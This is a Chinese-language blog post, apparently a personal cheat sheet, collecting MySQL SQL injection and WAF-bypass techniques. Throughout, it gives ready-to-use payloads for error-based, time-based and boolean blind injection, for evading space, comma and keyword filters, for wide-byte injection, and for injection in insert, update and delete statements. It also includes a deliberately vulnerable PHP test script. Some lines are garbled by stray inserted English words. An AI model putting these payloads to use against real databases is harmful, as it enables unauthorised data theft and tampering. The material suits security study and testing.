對於SQLi的一些總結,主要也是爲了方便自查而整理,建議收藏。javascript
0x00 Appetizer(開胃菜)
1. 註釋
#---- ---+///**/內聯註釋:/!**/;%00(親測很好用)
2. 科學計數法
select id,title,links from freebuf where id=0e1union SELECT user,authentication_string,1e1from mysql.`user`;
3. 空白字符
MySQL5的空白字符是:php
%09 %0A %0B %0C %0D %A0 %20
4. 特殊符號
4.1 +
select id,title from freebuf where id=8e0union (SELECT+1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));
4.2 -
select id,title from freebuf where id=8e0union (SELECT-1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));
4.3 反引號
select id,title from freebuf where id=8e0union (SELECT 1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.4 ~
select id,title from freebuf where id=8e0union (SELECT~1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.5 !
select id,title from freebuf where id=8e0union (SELECT!1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.6 @
select id,title from freebuf where id=8e0union (SELECT@user,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.7 .1
4.8 ' "
select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;
|
select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1; |
4.9 ()
select id,title,links from freebuf where id=.1union(SELECT(1),(2),(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1);
4.10 {}
在說道這個以前,首先說一下數據庫語法時用到的各種括號分別表明什麼html
<>
:用於分隔字符串,字符串爲語法元素的名稱,SQL語言的非終止符java
::=
:定義操做符。用在生成規則中,分隔規則定義的元素和規則定義。被定義的元素位於操做符的左邊,規定定義位於操做符的右邊。mysql
[]
:方括號表示規則中的可選元素。方括號中的規則部分能夠明確指定也能夠省略。nginx
{}
:花括號彙集規則中的元素。在花括號中的規則部分必須明確指定。sql
|
:替換操做符。該豎線代表豎線以後的規則部分對於豎線以前的部分是可替換的。若是豎線出現的位置不在花括號或方括號內,那麼它指定對於該規則定義的元素的一個完整替換項。若是豎線出現的位置在花括號或方括號內,那麼它指定花括號對或方括號對最裏面內容的替換項。typescript
...
:省略號代表在規則中省略號應用的元素可能被重複屢次。若是省略號緊跟在閉花括號」}」以後,那麼它應用於閉花括號和開花括號」{「之間的規則部分。若是省略號出如今其餘任何元素的後面,那麼它只應用於該元素。數據庫
!! --
apache
select title from freebuf where id=.1union(select{s table_name}from{f information_schema.tables}where{w table_schema=database()});
5. SQLi能用的函數分類
5.1 字符串截取函數
mid(version(),1,1)substr(version,1,1)substring(version(),1,1)lpad(version(),1,1)rpad(version(),1,1)left(version(),1)reverse(right(reverse(version()),1))
5.2 字符串鏈接函數
concat(version(),'|','user()') # 拼接字符串時只要有一個爲null,則返回nullconcat_ws('|',1,2,3) # 不會由於出現null而返回null,會返回其餘正常的結果
5.3 字符串轉換函數
char(49)hex('a')unhex(61)
5.4 報錯注入經常使用函數
1. floor(rand()*2)
+ group by
select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))name from information_schema.tables group by name;
原理:floor(rand(0)*2)
被計算屢次致使。
2. updatexml()
select 1,2,3 and updatexml(1,concat(0x7e,user(),0x7e),1);
原理:updatexml()
第二個參數應爲xml語句。
限制:最多32字符
3. extractvalue()
select 1,2,3 and extractvalue(1,concat(0x7e,user(),0x7e));
原理:extractvalue()
第二個參數應爲xml語句。
限制:最多32字符
通過測試,在mysql 5.7
的版本下,exp()
、geometrycollection()
、multipoint()
、polygon()
、multipolygon()
、linestring()
、multilinestring()
沒法使用。
在mysql 5.5
版本下是可使用上面幾個函數進行報錯注入的。
原理:BIGINT整型溢出
5.5 時間盲注經常使用函數
1. benchmark()
select * from freebuf where id=1 and (if(LEFT(VERSION(),1)=5, BENCHMARK(5000000,SHA1('1')),1));
原理:以上面的sql語句爲例,BENCHMARK()
將執行SHA1('1')
這個工做5000000次,並統計其所花費的時間。
2. sleep()
select * from freebuf where id=1 and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='A',1,sleep(10));
5.6 布爾盲注經常使用函數
字符串截取函數+ascii()
配合limit
完成布爾盲注。
0x02 Soup
總結了一下繞過基礎過濾的方式。這邊不說複寫和大小寫繞過了,由於你們都知道。這邊丹丹我寫個基礎的測試腳本,接下來的測試都是基於這個腳本而添加的相應的規則:
<?php error_reporting(0); $db = mysqli_connect('localhost', 'root', 'root'); mysqli_select_db($db, 'SecSpider'); $uid = strtolower($_GET['uid']); $id = waf($uid); $query = "select id, title, tag from `freebuf` where id=".$id.";"; echo "sql: ".$query."<br>"; $result = mysqli_query($db, $query); $row = mysqli_fetch_array($result); var_dump($row);
function waf($id){ $id = str_replace(' ', '',$id); return $id; }
2.1 過濾空格
能夠用下面幾種方式繞過:
/**/ 可代替空格/!*select all*/ 可代替空格,且能執行中間的sql語句() 可代替空格%09 %0A %0B %0C %0D %A0 %20 可代替空格select~1或select+1或select-1select`table_name`from 能夠不使用空格+ 可代替空格{} 在遇到select from時能夠利用括號包裹繞過針對查詢字段的空格過濾
給個實例:
http://127.0.0.1:9999/php.php?uid=.1union(select~1,+1,(select`table_name`from/*!12345information_schema.tables%0awhere/**/table_schema=database()*/%0dlimit%0d%0a0,1))
關於括號繞過的示例:
http://127.0.0.1:9999/php.php?uid=.1union(select-1,+1,{x+table_name}from{x(information_schema.tables)}where{x(table_schema=database())})
2.2 過濾了逗號(默認加上了過濾空格)
在使用union
的時候是比較懼怕逗號被過濾的,能夠用join()
繞:
注意這麼幾個細節:
不能這麼使用
/!*join*/
limit 0,1
中的逗號可使用limit 1 offset 0
這樣的格式來代替
http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`column_name`from/**/information_schema.columns/**/where%0dtable_name=%27freebuf%27/**/limit/**/1/**/offset/**/3)c))
2.3 編碼繞過
說了上面兩個較爲常規的姿式,下面總結一下使用編碼繞過的方式:
2.3.1 URL編碼
通常不會成功…,這個時候不妨試一試兩次編碼繞過。
空格 => %20單引號 => %27左括號 => %28右括號 => %29百分號 => %25
2.3.2 十六進制編碼
page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… # 對單個字符編碼SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) #對字符串編碼
2.3.3 Unicode編碼
單引號:%u002七、%u02b九、%u02bc、%u02c八、%u203二、%uff0七、%c0%2七、%c0%a七、%e0%80%a7空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0左括號:%u002八、%uff0八、%c0%2八、%c0%a八、%e0%80%a8右括號:%u002九、%uff0九、%c0%2九、%c0%a九、%e0%80%a9
關於應用的話我的認爲有兩種:
寬字節注入
關於寬字節注入,簡單來講就是當單引號(
'
)被轉義爲\'
時能夠利用%df%27
進行繞過。寬字節注入產生的緣由是由於GBK編碼爲多字節編碼,會認爲兩個字節表明一個漢字,舉個例子,好比我傳入的字段是%df%27
,正常解碼後爲:
而有趣的是在代碼層(GBK編碼)對`%df%27`的解析實際爲`%df%5c%27`:�'從而吃掉了`\`繞過了對`'`的轉義 而有趣的是在代碼層(GBK編碼)對`%df%27`的解析實際爲`%df%5c%27`:
�'
從而吃掉了`\`繞過了對`'`的轉義
MySQL字符編碼繞過
MySQL的字符串編碼主要是因爲MySQL字段的字符集和PHP mysqli客戶端設置的字符集不一樣而致使的。
MySQL字段的默認字符集爲
latin1
,在設置客戶端字符集爲utf8
後,服務端的相關字符集仍爲latin1
,因此PHP將數據存入數據庫實際上完成了以下的字符編碼轉換:
utf8 --> utf8 --> latin1
SELECT 'Ä'='A'; # 結果爲1
0x03 Main Course
知道了上面的基礎繞過姿式,下面進入正餐,測試腳本和0x02相同,只是往上添加規則罷了。
測試MySQL版本爲5.7.23
3.1 各類關鍵字的繞過
3.1.1 繞and
,or
,union
,where
,limit
,group by
,hex
,substr
繞and和or
and => &&or => ||
繞union
union => 1 ||
繞where
where => case when then else end
繞limit
limit => group by c having c=0
若是表名第一個字符爲f
,則返回正常數據,若是不爲f
則返回空。
繞group by
group by => group_concat()
同上,若是表名第一個字符爲f
,則返回正常數據,若是不爲f
則返回爲空。
繞select
實際上是用了種取巧的方式即:
select => into outfile
但其實是用處不大的,這邊就不作演示了
繞hex
hex => lower(conv([10-36],10,36))
繞substr或substring()
substr => mid() 或 strcmp(left())
mid()select (select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1)=lower(conv(14,10,36));
strcmp(left())select strcmp(left(table_name,1),'f') from information_schema.tables where table_schema=database() limit 1;
3.1.2 繞過嚴格的字符或數字限制
具體的來講,當waf作了嚴格的字符限制後,可能某些字符咱們是沒法使用的,這個時候能夠用下面這張表來繞過:
小寫字符的釋放可使用lower(conv([10-36],10,36))
3.1.3 繞過information.schema
在MySQL5.6及以上的版本,能夠用mysql.innodb_table_stats
和mysql.innodb._index_stats
來代替。
select title from freebuf where id=1 union select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1;
select title from freebuf where id=1 union select table_name from mysql.innodb_index_stats where database_name=database() limit 0,1;
3.2 很是規注入方式
3.2.1 order by注入
爲何要把order by
拉出來單獨說呢,由於order by
後面不能使用union。
主要是用盲注,有兩種姿式,下面用布爾盲注來演示。
使用
if
來進行盲注:select title from freebuf order by if((substr(user(),1,1)='a'),1,(select 1 from information_schema.tables));
這邊要注意一下,在報錯回顯時必定要選擇會產生錯誤的回顯,而不要選擇`0x00`,在`5.7.23`版本下`0x00`也會返回全部數據及正常狀況。
使用
case when then else end
來進行盲注:select title from freebuf order by (select case when(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='f') then 1 else 1*(select 1 from information_schema.tables)end)=1 limit 0,1;
3.使用procedure
進行報錯注入或盲注:
limit
後的procedure
在5.7.18下已經默認關閉了,在8.0版本下已經被移除。
報錯注入:
SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
時間盲注:SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
使用
rand()
進行盲注這個不細說了,和普通的盲注同樣。
3.2.2 limit注入
重要的話再說一遍:
limit
後的procedure
在5.7.18下已經默認關閉了,在8.0版本下已經被移除。
報錯注入:
SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
時間盲注:
SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
3.2.3 insert、update、delete注入
這邊就拿報錯注入來講了,其實改一改就是盲注。
insert
insert注入的位置在
value
處,能夠配合常規的報錯語句來完成報錯注入,下面舉個例子。insert into freebuf (id, title, links, tag, article_id, catch_date, publish_date, come_from) values (2,'1' + updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or '','www.baidu.com','test1','2','1','1','baidu');
這邊要注意一下在`value`中的報錯語句要使用的邏輯,爲了使咱們的報錯語句必定執行,必定要構造邏輯使得報錯函數能夠執行。
update
update注入位置在
set
後。update freebuf set id=3 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) and title='123' and links='123' and tag='1' and article_id='123' and catch_date='1' and publish_date='3' and come_from='1' where id=2;
delete
delete注入的位置在
where
後。-
DELETE from freebuf where id=2 or updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '';
3.3 畸形請求
php+Apache 特性:
waf一般會對請求進行嚴格的協議判斷,好比GET、POST等,可是apache解析協議時卻沒有那麼嚴格,因此在發包的時候修改成一個畸形的請求也可能繞過waf。
3.4 HPP——通用特性
HPP是指HTTP參數污染-HTTP Parameter Pollution。當查詢字符串屢次出現同一個key時,根據容器不一樣會獲得不一樣的結果。假設提交的參數即爲:
1 |
id=1&id=2&id=3 |
Asp.net + iis:
id=1,2,3
Asp + iis:
id=1,2,3
Php + apache:
id=3
3.5 Trick
3.5.1 利用name_const()
獲取MySQL版本信息
在5.7.23版本中並不能使用name_const()
來獲取更多的信息,可是仍能夠用它來獲取數據庫版本信息:
1 |
DELETE FROM freebuf WHERE id=2 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or ''; |
3.5.2 limit下的字段數的判斷
在where
條件下的字段數能夠用order by
判斷,而limit後能夠利用1, into @,@
(@爲字段數)判斷字段數。@爲mysql臨時變量,
這裏要記住要賦予用戶變量變量名,否則會出現User variable name '' is illegal
錯誤。
3.5.3 MySQL注入可報錯時繞過information_schema
等關鍵字的過濾(報錯)
首先,若是MySQL注入是報錯注入,且waf攔截了information_schema、columns、tables、database、schema等關鍵字或函數時,咱們還能夠這樣玩:
select i.4 from (select * from (select 1)a, (select 2)b, (select 3)c, (select 4)d, (select 5)e, (select 6)f, (select 7)g, (select 8)h union select * from freebuf)i;
這裏是由於我freebuf
表有8個字段,由於利用了union select
因此要構造8個字段。
那若是過濾了union
呢?
用
polgon()
爆表名和庫名select * from freebuf where id=1 and polygon(id);
原理:`Polygon`從多個`LineString`或`WKB LineString`參數構造一個值 。若是任何參數不表示`LinearRing`(也就是說,不是一個封閉和簡單的`LineString`),返回值就是NULL。
若是傳參不是linestring的話,就會爆錯,而當若是咱們傳入的是存在的字段的話,就會爆出已知庫、表、列。
用
join
重複查詢爆字段爆第一個字段
select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b)as c);
爆後面的字段
select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b using(id))as c);
3.5.4 八字節注入
這種注入的原理是在MySQL中字符串實際上做爲八字節的DOUBLE類型來處理。
具體的舉一個例子:
若是須要獲取的數據大於八字節,可使用substr()
來將數據分紅分片:
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
也就說user()
最多有16個字符,那麼如今解碼就能看到咱們須要得到的數據:
3.5.5 局部變量的使用
爲何要使用局部變量呢?其實使用局部變量就是爲了更改SQL語句的邏輯,好比針對於語義的waf過濾了union select from
,那麼就可使用局部變量將語義更改成select from union
,從而繞過邏輯判斷。
舉個例子:
過濾了以下的邏輯:
select title from freebuf where id=-1 union select table_name from information_schema.tables where table_schema=database() limit 0,1;
能夠看到這裏的邏輯爲:
union select from
利用局部變量能夠更改這樣的邏輯:
select title from freebuf where id=1|@payload:=(select table_name from information_schema.tables where table_schema=database() limit 0,1) union select @payload;
這樣的邏輯爲:
select from union
並且結果相同:
3.5.6 emoji
這一點很少說,由於我本身沒搞清楚,推薦從容師傅的文章
0x04 Desserts
這裏不說具體案例,只說一說思路。
4.1 其餘的繞過思路
MySQL是知足圖靈完備的,也就是說只要能找到具有循環和判斷的,且未被過濾的函數,理論上是能夠完成全部正常功能的。而且在不限制字段的狀況下,是能夠利用可用函數進行編程來完成你想要的自定義查詢的。
4.2 邏輯很重要
測waf得時候能夠首先想一下waf的判別邏輯,最多見的測試爲如下三種邏輯的測試:
union+select
select+from
union+from
利用前文的局部變量來更改邏輯,說不定會有更好的效果。在瞭解了過濾邏輯的狀況下,繞過剩下的過濾就好說多了。
4.3 見招拆招
%23%0a
被過濾了,那麼%2d%2d%0a
是否會被過濾呢?
過濾了union、from
,那麼1e1union
是否被過濾了?.1from
是否被過濾了呢?
下面說一個分析場景:
union+select攔截select+from攔截union+from不攔截
能夠看到關鍵點在於select
。
那麼如今想想下面的問題:
union+select過濾了,那麼union/*!50000%0aselect%0aall*/呢?
若是select被識別了,那麼select all、select distinct、select distinctrow呢?
若是union/*!50000%0aselect%0aall*/被過濾了,那fuzz一下50000這個五位數呢?
你看能夠從這一點看到這麼多,再結合前文說的各類方法,不愁沒辦法。細心是最重要的。
4.4 非慣性思惟
waf在檢測時,對不一樣的訪問方式利用不一樣的規則進行檢測,而這就有可能鑽空子。
對waf進行長度檢測,過長的字符串可能致使waf跳過識別,也有可能直接致使服務器宕機。
0x05 Coffee Or Tea
總結了這麼多,也算是把各家的姿式還有本身的一點認識寫完了(其實大部分仍是學習各位師傅的姿式)。
參考文章:
https://xz.aliyun.com/t/368https://www.leavesongs.com/PENETRATION/mysql-charset-trick.htmlhttps://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.htmlhttp://blog.51cto.com/wt7315/1891458https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge–Lessons-Learned/